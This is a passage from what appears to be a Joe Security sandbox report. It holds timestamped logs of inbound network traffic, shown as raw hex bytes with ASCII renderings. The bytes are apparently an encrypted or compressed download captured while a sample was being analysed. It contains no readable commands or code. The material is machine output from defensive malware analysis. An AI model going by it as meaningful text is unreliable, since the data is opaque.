2021-11-08 19:52:09 UTC 728 IN Data Raw: 0b ce 2c 5e a2 84 d1 7a 10 b8 04 9e d9 4d 2a 4a a3 95 c6 c2 cf 36 15 36 86 66 84 fa 9f 3a a5 5d 56 66 00 00 bd b8 76 14 86 4c eb de b4 54 ba 4c 7b f3 e6 92 23 44 87 b9 28 73 f9 f6 1b 76 ab 90 42 fa 74 c5 bf aa 6e df 9c 07 4c 57 e1 b9 0f cd 6d 9a 1c d3 c5 d6 83 56 98 46 a9 b0 fc 03 99 79 8d 95 50 73 94 29 db a1 81 20 90 b8 3e ab 58 98 85 7c f4 7a fa 82 ec 12 a6 16 4a 77 8b df 7d 17 b9 d3 96 7c 7f 12 63 ae 0c 8f 7f 94 95 0f f5 a9 eb c9 06 a8 1d c8 fa ea ba a1 04 02 7a e2 d0 ca 6d 01 82 c6 4c 85 82 f6 e8 0b 66 74 8a 15 c9 23 89 36 16 68 c1 44 c8 cf e3 52 7d ef 5b 3a 0f 63 12 3d e5 e2 47 28 72 ce aa b0 6c ba 26 bf a3 64 00 06 f4 6f 56 7f 5b 70 81 aa 5b 2f 92 40 2d 66 6f cd 6e 27 07 80 7c 9a c6 96 65 5e 8e e0 64 41 4a 94 50 96 13 d8 c6 14 67 ec d1 33 98 78 a7 Data Ascii: ,^zM*J66f:]VfvLTL{#D(svBtnLWmVFyPs) >X|zJw}|czmLft#6hDR}[:c=G(rl&doV[p[/@-fon'|e^dAJPg3x

2021-11-08 19:52:09 UTC 744 IN Data Raw: bd f9 c0 22 d7 cb 9d e1 e4 21 41 5f 78 e5 af 21 71 a7 26 c1 5b 6e 0d 6a 85 41 60 be 51 1a 5a a3 ed 31 d8 ca 50 f7 5b df 54 71 59 36 ba 0a 80 0d 9b 4e 7a 3d 52 76 bd 7b 15 62 37 73 07 41 16 1f d6 22 91 0d c4 1d 8e a4 0b 35 ca b2 7a 31 b8 1b d3 96 dc c7 96 75 15 df a7 62 35 75 e1 1f 68 d5 cd d6 7a c8 1b 8d 47 4e dc 39 28 db 5c 68 01 d3 0a 53 ee c4 5e be 92 08 33 c2 02 a1 9d 80 79 ed 8c 78 a6 2b ed 61 87 8f 17 0d 24 45 60 55 74 29 ba 87 11 84 21 c6 50 77 f6 93 13 62 dc 5f a9 6e d5 b9 d9 ef 64 28 06 51 fa f5 da a1 a2 07 4e b8 c4 90 a6 9d 52 34 b2 7d 14 8c 71 47 85 5c d3 70 80 dc b0 5f 40 7d 25 32 5a ec 07 1a 4f 5c 25 2a 13 a4 7f 0d 04 2a ca e1 ec 3b 1f f0 c7 d8 c1 c5 f3 52 b6 93 3b b0 ab 97 9c cc 7e 3d 2912 ec 61 5f a9 29 dc ec 3f 57 44 9b 9b 27 67 58 54 d5 Data Ascii: "!A_x!q&[njA`QZ1P[TqY6Nz=Rv{b7sA"5z1ub5uhzGN9(\hS^3yx+a$E`Ut)!Pwb_nd(QNR4}qG\p_@}%2ZO\%**;R;~=)a_)?WD'gXT

2021-11-08 19:52:10 UTC 760 IN Data Raw: a0 18 87 c6 21 fa 2b 2f a5 ea 86 ed 80 1c 5a 25 be 43 94 cd f8 ca 92 cf 0c 5d a8 bc 63 8d 11 03 38 ab c8 25 d8 c5 03 2d ea d4 e9 9a 98 14 c0 27 b8 d3 09 97 b9 45 ec b7 a1 0b 93 c0 b2 d5 96 1b 9b af 75 0a 1e 05 7f d4 0a 62 37 23 5f e6 b2 5c d0 52 44 6a 55 42 af 6a 4f b4 21 b6 93 bd 9a de 5b 13 de 68 21 1e cf 1c 09 4f 71 42 7f 3b 89 44 2f 72 2d 2f 2e a1 18 14 4c da 47 73 03 93 c5 4e e0 c9 a5 30 e7 71 e3 c6 3f 6d 16 21 21 c0 ab 2e 68 11 40 3e 53 16 07 7d 8b b7 b9 98 eb d8 eb cb 99 f7 14 a5 c4 ba 66 34 92 1d e6 25 e4 a3 24 30 67 7a b8 ce d4 94 21 fc df b4 d4 0a 56 0f 7a c3 d5 2c fd bf bb 16 df 21 d3 d2 e2 89 62 46 8d cc ee 15 cb 0e 9b 61 00 5e a7 e9 bf d9 79 38 63 7a 38 a9 69 32 49 2f 33 ec 07 10 3d f2 4a 97 b5 63 3e de f3 86 cb 4f 8e 30 72 6c 85 e0 a5 ec 15 Data Ascii: !+/Z%C]c8%-'Eub7#_\RDjUBjO![h!OqB;D/r-/.LGsN0q?m!!.h@>S}f4%$0gz!Vz,!bFa^y8cz8i2I/3=Jc>O0rl

2021-11-08 19:52:10 UTC 776 IN Data Raw: db 4d 52 ae f0 00 f7 63 d0 04 20 09 46 62 a3 cf 8f 9a 3c 18 b1 72 cb 1d 10 91 b8 cb 37 87 93 fc 75 e6 b7 b5 18 d6 23 a0 e7 d8 5d 62 a5 d5 d2 32 e2 82 ef 93 dc b1 0d 30 53 f7 4c b6 f1 d3 d8 26 49 d1 78 95 7d 5c 47 3f e8 b3 0b 3f cb 24 7e dc f9 4b 9d c4 0c 8b 41 d1 47 68 51 1f 4e 1a c8 0f f0 9e 81 25 cd 4e 8d 3f fc ae 85 6b 6e a9 a2 61 25 b0 0c 34 26 6c e8 7a 8f 94 35 c9 15 c4 1a 3d c9 6a a5 2a 5f 31 ab ac 33 61 25 fb 6c 2c cd 52 aa 66 f9 06 95 7e 91 ef 52 b4 14 f3 d7 37 7688 ef 91 8c f9 57 2a 63 85 26 b0 89 f2 5f 1c 25 f7 8e 68 ac f9 0b e2 89 20 17 1a ed 22 31 7e 90 dc 3a 98 11 50 06 25 e6 6c 7c 3b bf fa a6 c2 1a e7 0f 52 cb 73 2a e0 34 c5 10 50 92 cb 94 d6 a2 af dd 26 ca 48 a6 04 39 8b 21 a7 83 66 7e d4 99 4f 5c 6b 26 3a fc 85 24 67 b9 8b 0b 20 31 50 e9 Data Ascii: MRc Fb<r7u#]b20SL&Ix}\G??$~KAGhQN%N?kna%4&lz5=j*_13a%l,Rf~R7vW*c&_%h "1~:P%l|;Rs*4P&H9!f~O\k&:$g 1P

2021-11-08 19:52:10 UTC 792 IN Data Raw: e0 1a 55 e5 f8 b4 53 b4 65 ae 29 13 e1 3f 21 e7 c7 9c 3a bc 6e dc bf d4 20 5c 92 7e 7c 8d a5 d5 e8 00 b3 ee 15 f9 b9 59 72 06 89 4f d3 45 4c 05 c8 a4 da a5 39 83 42 f1 e8 9d 76 36 c9 69 c2 50 43 70 f0 19 fd 02 a2 53 7f 6b 72 0a 91 78 d6 79 24 7e 36 8d 3a 7f 51 b4 ab 0e 81 ed 36 ca 45 a2 bc a8 c7 29 8d 0e 6d c8 97 cb e5 fa 13 46 f5 ab 0a 79 4e c8 35 9a 3b 36 0c c7 68 6e 3f 85 fe 42 3e a6 90 cc 60 4d 64 0b 0c 5c 4a 94 26 ef b1 60 5a 70 54 51 2d 81 bf 03 14 cc 92 ef 6a 2e a6 77 f9 2f 9e f6 1b 05 88 97 57 50 5f 03 10 1e 4e 25 b5 6d 19 d7 1b 52 ca 96 3d f9 e2 ad c5 2a 18 3d 79 fd db f6 9891 63 5f d5 c9 0b 41 e4 b6 ac 97 2f ff e5 3b f4 f9 ad 01 c1 98 05 e9 f0 93 13 43 1f 17 3d 87 0d ea b7 98 d9 bf 21 c8 a9 ab 4c 4b 83 83 7a a0 80 c8 9b 32 c7 5b 70 cd ea a0 8d Data Ascii: USe)?!:n \~|YrOEL9Bv6iPCpSkrxy$~6:Q6E)mFyN5;6hn?B>`Md\J&`ZpTQ-j.w/WP_N%mR=*=yc_A/;C=!LKz2[p

2021-11-08 19:52:10 UTC 808 IN Data Raw: cb b4 28 1c d1 e1 8b 7c 35 62 c7 20 31 50 02 08 b4 19 95 6a 53 b3 81 3a 3f 6a 8b 75 33 a3 ec fe 70 5d be d2 8b cf b8 83 cc 3f 0f 6b b2 93 48 e1 59 91 ba 6e 5f d4 5e 25 3b 8b a2 f6 5e d0 d2 6c 0a 68 b5 12 5c f9 fe af 01 6b 43 82 c8 42 f6 1a 12 b7 e7 fd b0 99 2c 61 df 02 2b fd 1d 73 a0 f0 16 3c 32 b8 3a 5a e0 50 ca 8a ee 1a 66 98 c1 2e 65 42 3a b8 a8 83 55 09 73 bb b4 ff e2 2f e9 b3 ac 59 46 f2 93 a9 b2 18 7a 6c 22 20 0d 98 88 42 5e 3a 0a 66 69 db be 4c 2e f4 a8 d5 ef 46 02 d9 82 a8 56 a1 49 68 55 c7 2e 68 c3 a5 81 de b8 49 63 c0 39 59 32 b6 ad 4f 8a 6b 45 61 17 66 30 7c 93 7d cf d9 79 ae 39 78 19 5d 3c 56 01 d6 9d bc f8 0d 54 29 10 3b 88 5b 53 93 7b d7 41 48 2e fe d5 fd 90 6b 44 89 8a bc 50 db f3 32 f3 55 9e 62 a4 eb 75 36 3d 48 34 28 f3 60 d6 30 b7 a6 83 Data Ascii: (|5b 1PjS:?ju3p]?kHYn_^%;^lh\kCB,a+s<2:ZPf.eB:Us/YFzl" B^:fiL.FVIhU.hIc9Y2OkEaf0|}y9x]<VT);[S{AH.kDP2Ubu6=H4(`0

2021-11-08 19:52:10 UTC 824 IN Data Raw: b4 d6 3a 97 53 f1 73 e7 4f fb 1b de 14 84 df 3d 95 6d aa 16 20 02 90 fb 53 03 5e bc c4 f9 0e 75 38 be f7 c9 f4 81 bb 7e 73 10 7e 56 2b f5 8c 30 0f 80 89 7a 24 fc a4 4e a0 2d 73 b5 05 db 48 95 c3 f5 f1 35 84 b3 8c 06 77 77 7a ff 8b 8e fd 79 51 29 c1 a9 dd 15 57 56 fd 79 6b 44 30 99 e5 ad 55 68 83 4b f3 91 1c 5e 0f 90 4e fd 7f 95 a8 b8 dc 2a e0 4b 11 61 80 e8 29 80 72 be c0 47 e8 f2 c3 dc d8 79 07 a3 db 13 34 ab c5 0c f7 d1 5f 7a 57 33 e8 4d 5c bb ea 3d 45 38 8f b0 82 6c f7 5b df 93 a7 07 0e 0b 6b e3 76 1c fb 3b 4b 83 4f 21 ce a4 ae be c8 c0 61 f2 ed 13 7c b3 f5 67 64 13 2c 84 33 39 fe 08 5f 57 8c 8a 44 a8 b0 ab 1a 22 f3 a7 f0 bb 74 c4 46 18 35 74 7b 69 68 31 42 2d 61 2d 19 2f 57 dc 94 af 95 c4 89 a0 91 1f 5c aa f5 17 dc 1e fa 08 e3 cf af ad ef 0b 45 a5 a7 Data Ascii: :SsO=m S^u8~s~V+0z$N-sH5wwzyQ)WVykD0UhK^N*Ka)rGy4_zW3M\=E8l[kv;KO!a|gd,39_WD"tF5t{ih1B-a-/W\E

2021-11-08 19:52:10 UTC 840 IN Data Raw: b1 42 94 57 e5 fb 26 98 47 3e b5 91 35 df b5 2b 25 41 2b 94 41 a6 e9 59 19 bd 5a 6f ff 82 7e 54 3a 9d 49 97 15 22 fe 62 61 8d bd 58 d2 5d 77 b7 e7 8b 3d c0 22 9f d2 61 f5 36 90 31 b2 ac fe f6 1c a1 ee da 47 ff 14 bc 20 9b b3 6f ba 67 50 6f 71 7a 86 d9 f0 ec 40 c1 41 27 71 f8 c2 4d ce 18 4f e8 f9 d7 e4 20 6a 6e 2b f6 03 7e 0e af e0 25 32 8b 24 25 20 a5 8e d1 4e 9d 12 be ec 3d a9 ef 86 74 1f f6 3f 9c 10 b9 6f aa 31 c7 fb 71 2f 3b 65 71 04 06 2f 92 70 8c 70 54 53 25 4a f5 16 63 ba 1c d7 22 a9 9e a1 8f 17 a6 c5 95 00 48 6f cf 5d 53 5b f2 5d 49 d6 6e a0 c7 c7 e3 dd 89 f5 3d bf f6 f9 15 2f 19 53 d6 d0 0b e2 84 7d f0 cb 85 7d 16 bf 07 7a 87 62 83 f6 94 67 3b ea 2a 60 d3 c6 db 15 c5 39 be 3f 25 78 b5 f6 79 5a 73 f2 f8 8f fc a3 fc 4c 83 b1 59 84 43 50 70 24 a5 e5 Data Ascii: BW&G>5+%A+AYZo~T:I"baX]w="a61G ogPoqz@A'qMO jn+~%2$% N=t?o1q/;eq/ppTS%Jc"Ho]S[]In=/S}}zbg;*`9?%xyZsLYCPp$

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 25 of 51

2021-11-08 19:52:11 UTC 856 IN Data Raw: 91 4e 06 db 33 05 a2 12 39 d8 ef 42 2b 75 fd a3 73 a2 9c d7 65 de 87 f7 21 f0 76 90 9c 2f 8f 35 e7 db 26 c9 ae 9c 32 6b 75 5a 32 83 3d 9f 2e 78 bf 28 26 08 c6 b4 5e 51 91 80 e9 3b 5e ef a7 a1 06 cb 3d f5 ee 09 c4 eb 6d 39 d1 9b e0 85 28 ea 3e 33 59 9a 49 d7 ae d4 e6 9c 13 b7 68 fe 56 ae 33 7c ce 06 60 c3 f9 52 39 61 20 26 81 8f d8 21 8a b5 05 b5 01 24 36 a8 5b 5d 80 94 99 13 d3 dc 2f 38 3e 21 27 a1 6f c6 7c c5 fb 7e 14 ba 98 53 a0 a9 e3 d9 29 79 97 4b 5b 9a b6 fd b7 f2 4a 4a c4 b8 40 bf 72 d4 d9 eb 94 02 67 ac 56 07 4c 65 ee 84 1d 36 b8 f7 be 87 df 76 2a 0f 0d d2 ea 0c db f1 27 7b b1 fa 79 b1 d3 23 2c 34 af 5a f7 12 85 f2 56 0b c0 43 3a c4 4d 0a 54 64 fe 62 61 6f 0a 1d 3a ca 78 f6 0b 04 a0 a7 99 1b c2 f1 e9 46 51 c7 8f ed c1 3d 5b bd 33 1d 23 33 d4 ac b6 Data Ascii: N39B+use!v/5&2kuZ2=.x(&^Q;^=m9(>3YIhV3|`R9a &!$6[]/8>!'o|~S)yK[JJ@rgVLe6v*'{y#,4ZVC:MTdbao:xFQ=[3#3

2021-11-08 19:52:11 UTC 872 IN Data Raw: cd fa 06 00 49 9f 3f 3e 73 c6 87 52 e7 01 cb 27 3f f0 88 57 a9 c2 26 23 25 12 c6 ea 40 7b af 0b cb 1b 2f e8 23 66 e7 22 2f 60 47 c5 d8 27 c3 f7 d8 25 57 2a f0 96 3b 77 57 37 2e 11 4a ea c2 5d 48 ad 16 25 db dc b5 9d 6d 88 6e 4e dd 47 20 75 1c 2b 06 e2 6e b0 db a7 cf db 02 ea 70 01 62 41 2f e8 2b 9c 0f e5 ef 67 42 0e a2 95 4e 85 5d 04 bf 84 6a 46 76 cd 1c f6 65 a6 9b 65 2b 44 75 4f e8 2c 20 ce cb ed 0a 2a c6 49 72 ae 2e 49 8b e0 1c ba 58 bf 14 1a de d8 7b 8c e9 11 27 a6 a9 f8 c9 60 e1 9e 3a 2c bf eb aa 81 57 66 de 00 ac eb 6e 38 01 94 dd 44 ea 93 b5 c3 c3 06 9a 8f af 29 66 a7 70 bd 8a 99 bc e1 73 13 df 57 43 8d a0 8f e1 55 19 66 95 8a 3f 9f e7 25 5a bf d6 a2 00 78 b5 73 94 53 c9 0b 3f 3f b3 e6 37 51 88 c1 ef ef 68 51 21 4f 4d ad 46 47 d9 1d 13 af a4 a1 c0 Data Ascii: I?>sR'?W&#%@{/#f"/`G'%W*;wW7.J]H%mnNG u+npbA/+gBN]jFvee+DuO, *Ir.IX{'`:,Wfn8D)fpsWCUf?%ZxsS??7QhQ!OMFG

2021-11-08 19:52:11 UTC 888 IN Data Raw: 92 c3 76 41 80 27 ae d4 ed 59 58 37 26 e3 16 2e 18 6b f3 f3 6f 36 55 3e 5b 71 5a f0 07 d0 9f 6c ff e0 15 46 f4 c9 46 ab 9d 0b c4 f8 c6 35 8c fa 8b cb 4d e9 f5 9b 45 51 a9 df 54 40 da 4b ee f9 61 02 43 c7 82 db 0e 26 b5 b8 b4 b2 9a 5d 15 48 be 94 ef d1 48 12 26 25 91 71 35 2d 0c b2 8c a3 7b d4 1f fd 28 3a eb a0 8a 1f b9 70 51 6c af 45 6c 1a 11 cb 43 35 21 39 27 ff ed 03 90 5b fc f8 c8 b1 1c 85 50 f7 9e 19 8d 37 44 4c 76 90 4b 0b c4 20 a3 0d a3 ea 84 47 ec 45 83 35 58 36 1e 81 eb 1c 35 4a 1b ae d4 91 e9 e4 6e 3f 32 6e 0d 89 36 ed 76 e7 be 19 23 24 61 6a ef a6 fd 2f 2e d6 37 8d 66 21 71 52 a8 39 ed 87 01 e3 0c db 55 9e a0 80 d8 48 0f 0f 65 16 11 75 aa 23 bc c8 df 3a e7 9f 20 ee 96 21 06 79 47 10 de e5 e2 c6 93 5e 6c 4a f8 3b b8 c9 ac a6 f3 e5 0e db f2 c8 75 Data Ascii: vA'YX7&.ko6U>[qZlFF5MEQT@KaC&]HH&%q5-{(:pQlElC5!9'[P7DLvK GE5X65Jn?2n6v#$aj/.7f!qR9UHeu#: !yG^lJ;u

2021-11-08 19:52:12 UTC 904 IN Data Raw: 10 3c 86 5d c7 7e 65 2e ad 5e 7f 26 60 46 d2 37 13 1f 84 77 b0 bb c5 04 31 a5 8a fe 56 68 eb ca 9c 5b 72 28 64 a9 15 d0 ab 9f 48 cb dd 07 ce aa 68 df 80 e6 d9 bb e5 3e 9b 64 bc e4 2c da 20 37 b7 66 e4 75 19 58 b7 33 96 ee 96 b7 06 03 de 0a 07 7d 04 0a 4c d3 83 0c 15 c5 0b e4 d8 03 67 bf 79 8d 6b 85 c4 ea ab 12 26 f6 29 b8 b3 fb f6 1e b2 12 3c 3e cd 40 be e1 05 79 e4 8f 9f 7d 0e de 6a 8c a5 a2 ec 8a aa 2d 69 16 ca e8 69 d0 e4 6f 7f bd f6 bb 14 a7 d6 0f b4 64 5e 85 11 9b cd 2f 81 4b 77 11 38 9f 9d 8c 3f ba 46 69 63 42 16 5b 34 96 9d 52 24 04 59 62 b2 7c e0 e6 22 d0 06 91 aa 31 22 2b 2e e9 53 20 7d 53 5b e9 57 8b 82 18 ee 85 36 7b 9b e2 a2 b4 24 2c 00 f5 fc b1 cc b1 88 51 38 50 3b a9 b7 9b 0e da ec 04 40 77 d0 24 92 a6 17 86 c8 a7 72 49 be fb 68 d3 fc 74 45 Data Ascii: <]~e.^&`F7w1Vh[r(dHh>d, 7fuX3}Lgyk&)<>@y}j-iiod^/Kw8?FicB[4R$Yb|"1"+.S }S[W6{$,Q8P;@w$rIhtE

2021-11-08 19:52:12 UTC 920 IN Data Raw: d0 dc 60 43 cb e4 3c 76 33 d6 11 a1 13 c9 ec 15 c5 21 67 82 f3 b2 51 be 87 40 9d b8 2d fa 5c f9 e1 1a 8c cb c16c c1 2f 99 da cf 2d b2 17 74 92 d4 e5 54 cd a8 d2 24 d8 be 49 c9 c4 9f d7 ba 5c 0c c3 eb d1 46 4d 44 57 03 66 68 f3 89 e7 e9 5b 47 f6 9a 8b 9c c4 b6 9c 72 03 34 14 09 00 4c 33 44 fb f5 ba 69 3d 54 6a e6 f1 bc 77 fb 61 c7 0e ba fc 6a 54 2f 28 25 6a a2 0d 0d 79 78 5b 45 d9 c8 da 8a 4c 78 98 a1 a2 5c b2 06 64 51 2c 83 95 06 92 c1 76 a1 05 b0 37 0d 01 a3 0d 3e 43 29 a6 5a 9e 06 84 9b d8 75 13 d6 af 5b 62 b8 b8 c9 e2 4b e4 7b 4f 07 89 0f e1 1a dd f2 7d 51 10 64 16 52 0a bf da 18 19 d3 73 8f b0 6a 7d 44 26 f5 78 9a 50 70 a2 ec f9 e3 bc 1d 84 9c 99 99 c1 9f bb ea 4e 7c 81 44 24 1c 0e 13 f3 08 0a 6d 73 df 5f 44 a0 68 d4 09 63 48 31 e2 03 52 d7 f5 b0 33 Data Ascii: `C<v3!gQ@-\l/-tT$I\FMDWfh[Gr4L3Di=TjwajT/(%jyx[ELx\dQ,v7>C)Zu[bK{O}QdRsj}D&xPpN|D$ms_DhcH1R3

2021-11-08 19:52:12 UTC 936 IN Data Raw: 68 de 5a 2f 1f 77 93 47 cb 54 6b 46 e8 bd d3 94 55 3f d0 83 17 14 57 2c 10 28 96 76 6f 0c 13 b2 34 7a 37 f9 7a 4f 58 f8 82 c6 12 2d 0d 73 2c 0f be 64 92 0b 61 a3 98 42 ce 29 dd 8a 5a 37 b9 f0 49 39 92 0f 6c 32 66 f3 fe 64 4f 72 ad 8e 47 5b 60 65 2c 7d ca 5b fd 74 0e 65 d4 60 57 5d 08 8c 26 f6 82 d2 34 60 32 92 61 0f 82 2e 80 d9 b8 9d 2b 6e 80 05 ae f9 8d c3 e3 90 7c d8 3e e5 cf c0 4c e3 20 bf 0d 45 45 49 fa 46 65 a4 da d6 95 50 0a 5e 01 60 85 4f f8 e4 3b 00 75 61 a8 5b c9 88 4d e2 c2 07 b0 98 f7 92 43 30 23 c3 f9 34 bf a6 01 cc 99 22 77 da b2 5b 14 04 4f d3 88 9e f1 68 b6 72 d2 af 8f f8 0c 0f 24 56 30 9c 0b 2b 5a 9c 78 5b 21 f0 d9 6a a3 77 c9 07 38 5d 35 10 c4 1a c1 70 d2 6e 44 d1 5d aa cc f5 39 68 e3 fb d7 73 8e 07 5c 7b 78 cf 2d f1 ac 28 f9 44 98 10 6a Data Ascii: hZ/wGTkFU?W,(vo4z7zOX-s,daB)Z7I9l2fdOrG[`e,}[te`W]&4`2a.+n|>L EEIFeP^`O;ua[MC0#4"w[Ohr$V0+Zx[!jw8]5pnD]9hs\{x-(Dj

2021-11-08 19:52:12 UTC 952 IN Data Raw: ff ab 77 2e 67 42 5d f5 f1 60 c9 a4 b2 35 94 d4 30 1f b8 4f 47 db 53 e4 fc f9 46 61 99 7b 0d f7 e3 a0 cc 93 e6 9e bb a1 f0 61 aa 29 98 66 49 9d 6c 57 e8 4d ed 64 f3 39 43 1a a4 93 31 2c de d8 c1 98 9f e5 22 ea af 4e fa 86 68 0a 10 82 a6 37 1d 5f 01 2d 35 72 e1 90 d8 ff 31 6d f7 1f fe dd af 32 0b 94 25 89 f4 9e 16 5b b0 a1 36 0a c1 d9 fd ed 87 14 ab fb 99 c0 43 bb f8 7e f7 76 c6 ae 7a 73 a2 48 04 e0 50 b0 8c e0 59 b9 a2 95 91 a6 69 b0 85 94 96 4e 27 b6 c4 87 88 c2 c6 02 09 89 78 4a 9e f4 4a f2 32 4e 3d 89 4c 05 70 2b 28 ca 80 b3 cf 0d f0 d1 49 e9 67 ca c1 65 ef a1 16 61 54 89 ab 66 a8 38 e1 d0 d6 fd 90 9d 56 25 8f 34 bb 1e cf b7 86 52 0c ed 75 80 3c e8 b9 d9 89 67 be 13 48 fc 71 36 fa ae 20 e9 06 2c 65 ab ea 19 bf ea 04 e6 30 07 b5 d9 88 0d 25 f8 f9 6c 63 Data Ascii: w.gB]`50OGSFa{a)fIlWMd9C1,"Nh7_-5r1m2%[6C~vzsHPYiN'xJJ2N=Lp+(IgeaTf8V%4Ru<gHq6 ,e0%lc

2021-11-08 19:52:13 UTC 968 IN Data Raw: ed aa 9a bc 85 10 5c f0 46 59 87 ce 84 45 4a 36 68 f9 8d ff 6a 33 8b 30 2d e9 5a 68 5b 8c 14 81 e4 d9 be 96 f0 02 02 1f 2f 34 2e d1 bc 37 7d 60 86 c8 b2 7a 3b f0 ec d6 71 d3 41 ec 7e 05 a7 c1 6a 71 b5 e7 00 f9 ad be c9 98 be d2 ee 53 fd b6 4d 4f da 44 20 6f c4 66 67 fe d4 8d f9 a7 16 76 53 ec 12 26 f5 90 43 c9 c8 9a f5 5b 8b b9 ea 1f f8 e5 39 91 78 ef e1 06 5b e2 6a 10 1f e4 f8 68 d8 fd 3a 3c 35 ec cc 29 3a 0e ba 79 a8 9e 38 f2 45 b8 6e 46 d3 20 7b b5 cf 61 54 b8 1b ce 7f 14 da 81 6a 3e e9 cc c9 fc cd 3e 0d 8f 38 55 45 21 3f a1 52 29 f4 d5 84 b4 0b 55 5f 5d 7d ad 81 e8 fa 1c 97 3b 10 fc e4 f5 32 6c 0a 52 22 1d d5 43 0e 0e 79 9f 68 08 c5 09 47 42 61 c6 98 38 8a ff fd 95 a5 63 9f 61 a9 c8 51 de c9 3d 22 0c ed a0 50 82 07 e4 29 ec f3 2e e1 b4 78 97 68 fc 37 Data Ascii: \FYEJ6hj30-Zh[/4.7}`z;qA~jqSMOD ofgvS&C[9x[jh:<5):y8EnF {aTj>>8UE!?R)U_]};2lR"CyhGBa8caQ="P).xh7

2021-11-08 19:52:13 UTC 984 IN Data Raw: c5 ac 4e 3a 4c 5f da 59 89 8a 44 8f e0 e8 3d 6a 57 3f f1 fd 64 d9 a6 7b cc f2 b8 5d 0e 77 68 fc c9 0b b0 4c e5 1e 54 58 a3 02 b0 43 5e 21 20 96 3b 1e d6 5f cd 6c c3 bb e5 e3 46 03 5f 14 16 77 cd 24 3a a2 38 d8 67 7d 3f e9 71 65 0c 45 ad 4c 6b 92 fe b6 ef 5c 48 13 1e 29 ae a1 ca f4 fc 90 6a 9d de f9 c2 1e 0c 49 ac 13 63 11 d5 cf db 16 df 22 a8 28 ec dc 38 2f 27 81 36 bb 68 4f f7 74 d9 d3 b6 d6 ae d2 7c db 03 8b da 38 ef 0d a2 14 54 c8 64 0c 9b 4a 9a 79 a5 cc 52 ed 8f 93 50 b2 b9 6e c3 cb 4c eb 2e f4 f9 f3 f7 99 f0 2f e6 b5 3b 78 d8 a3 4c b3 bb 23 98 0b ae 3a 88 cf 70 c4 43 d3 f0 e0 f3 73 42 4c 8d 47 59 dc 99 18 aa f8 87 99 e1 f5 2f 7c 3d f6 d8 cd 76 d6 09 83 77 7a a8 e1 2b 33 2d 47 b0 21 98 99 7e d7 e8 a7 b2 23 e0 61 19 bd 57 8d db a5 dc 9e 2d cc 53 88 28 Data Ascii: N:L_YD=jW?d{]whLTXC^! ;_lF_w$:8g}?qeELk\H)jIc"(8/'6hOt|8TdJyRPnL./;xL#:pCsBLGY/|=vwz+3-G!~#aW-S(

2021-11-08 19:52:14 UTC 1000 IN Data Raw: 53 73 c1 4e 3e 14 88 55 9a bf 1d 90 cb 3d 0b 60 2a 6d fb 7f e4 42 a8 9b c2 0e 40 f2 be e8 9a 7d 77 5f 09 4a ea 64 76 8e 40 8e 28 d5 13 c2 a2 c9 f8 18 cc ca 27 9b 5c aa 74 24 33 02 2f d0 2b b1 4d 5a 46 97 63 e4 6f 37 81 d2 94 6a 83 80 51 fb a8 a8 25 fe 10 1a 6a ae fd ca 08 a7 4d 7d 92 25 dc 86 3b 0d 24 e1 2f fd b2 b0 ef 12 98 c1 5b 59 ae cb 94 0d 9e 578c ba 1b 9e ab 2f 05 a4 6f 9d 99 1d 6f eb c9 70 2b d1 96 e9 1d f1 55 6a cf c4 22 22 1c be f8 24 88 5d 03 13 0a 47 33 5c 60 81 43 bd 21 3c c1 d4 59 d4 8b cc 07 86 14 8c 5b 58 e8 75 bb e2 dd 64 9a 1d 6e 1c 75 16 a6 93 64 ba e0 25 c6 73 f7 63 f6 bd fa 10 50 d1 fc 1a 1f 22 fc 0e 03 f4 22 a6 ce 14 7c 88 3d 6f 4d b9 24 7e 0a cc 66 db 61 e4 40 93 c4 27 dc e7 72 7d b1 d0 87 87 a3 28 6a 4c 14 e0 2d eb 90 38 a1 96 bc Data Ascii: SsN>U=`*mB@}w_Jdv@('\t$3/+MZFco7jQ%jM}%;$/[YW/oop+Uj""$]G3\`C!<Y[Xudnud%scP""|=oM$~fa@'r}(jL-8

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 26 of 51

2021-11-08 19:52:14 UTC 1016 IN Data Raw: a0 12 9b 8f 50 7f c0 99 44 29 e8 0b 6e a2 5b a1 a7 36 7d 20 06 48 b2 8e ca 35 57 07 cb 42 5c ee 73 d8 76 e9 d7 12 23 b3 5b 8f bc a6 7d e3 d0 c2 85 82 71 5d 6c a2 de 6f 69 5f be 12 58 e5 3b d3 43 76 f2 48 d6 ea 5a 10 f5 b4 a7 6d 66 33 88 30 57 92 fa f2 92 73 1b 4a e1 d3 d0 8a 4d 89 32 b7 ad 03 8d cc 0e 44 16 93 94 0e 39 e0 73 22 b7 2e ba a1 8c 7f a0 86 71 5c 78 8d 05 6d 35 b3 f4 06 37 8c 22 65 19 e0 23 a5 66 fb 48 f5 10 2e 85 f9 fb 72 45 93 ab b9 39 f5 e2 b4 f0 0c b9 fb 16 a4 40 92 95 3a e6 79 72 85 d4 c4 32 b6 a1 86 7f 53 16 42 3c c2 be 03 13 02 23 91 b7 c4 3e 9d c0 52 81 a2 bc c0 fc 70 e6 8e 0b fa c1 a9 a2 d2 d6 e0 3d b1 ae 68 d5 4f 64 5c 3c cc 4e 14 1c ec 6e 3f 2c 3f ff 52 06 02 78 44 95 88 f3 66 32 ec 18 90 9c b3 9d 22 df ad 69 ba 89 b1 d7 0d 97 fb 78 Data Ascii: PD)n[6} H5WB\sv#[}q]loi_X;CvHZmf30WsJM2D9s".q\xm57"e#fH.rE9@:yr2SB<#>Rp=hOd\<Nn?,?RxDf2"ix

2021-11-08 19:52:14 UTC 1032 IN Data Raw: 26 e6 15 9d fc ec 63 28 cc 5f aa 32 16 71 a6 22 30 24 e9 77 8f 45 80 9a bf 14 af 9c f2 d1 4a 4a 90 39 6d bd f0 61 8a 1e 08 6f 5e 29 18 aa 05 6a f8 28 17 a6 0f 03 d2 b6 8b b1 32 c8 e5 30 61 7a 62 f4 d6 ed 71 3c 92 24 3e 02 bb e1 82 c3 91 03 63 22 90 7e 51 d4 1b 5c dd 90 bb 29 fc 58 18 cf 6b 40 cf 7f 90 b4 28 22 08 99 bc 79 1a d8 07 19 92 df ca ca 88 54 9b f6 cb 9d b6 c8 87 44 bd ce 63 75 a7 f7 2a db c8 0d cc 28 c2 37 58 17 bd 34 90 c6 b8 8e a4 6b 71 1e 71 5b 23 e9 69 2a 72 e9 50 64 00 11 27 74 a8 b0 95 02 a1 c9 a0 32 a0 e9 34 3f 9e b6 3a b9 d4 23 6f 83 63 3f 7a 7e d2 ab 7b ef 6a 79 0f af 2b f2 cc 80 6c d2 a2 2b 3f b3 50 17 d8 9f 22 12 9f 